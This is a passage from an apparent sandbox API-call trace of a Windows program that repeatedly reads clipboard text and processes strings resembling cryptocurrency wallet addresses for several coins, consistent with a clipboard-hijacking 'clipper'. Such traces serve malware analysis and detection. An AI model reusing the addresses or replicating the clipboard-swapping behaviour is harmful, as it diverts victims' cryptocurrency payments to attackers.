1 [0049.682] CloseClipboard () returned 1 [0049.682] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.682] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.682] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.682] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.682] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.682] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.686] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.686] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.686] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.686] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0049.686] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0049.686] Sleep (dwMilliseconds=0x64) [0049.793] GetOpenClipboardWindow () returned 0x0 [0049.793] OpenClipboard (hWndNewOwner=0x0) returned 1 [0049.793] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0049.793] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0049.793] GlobalSize (hMem=0x6069b8) returned 0x42 [0049.793] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0049.811] GlobalUnlock (hMem=0x6069b8) returned 1 [0049.811] CloseClipboard () returned 1 [0049.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.824] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.824] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.824] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.865] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.866] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.867] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.868] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 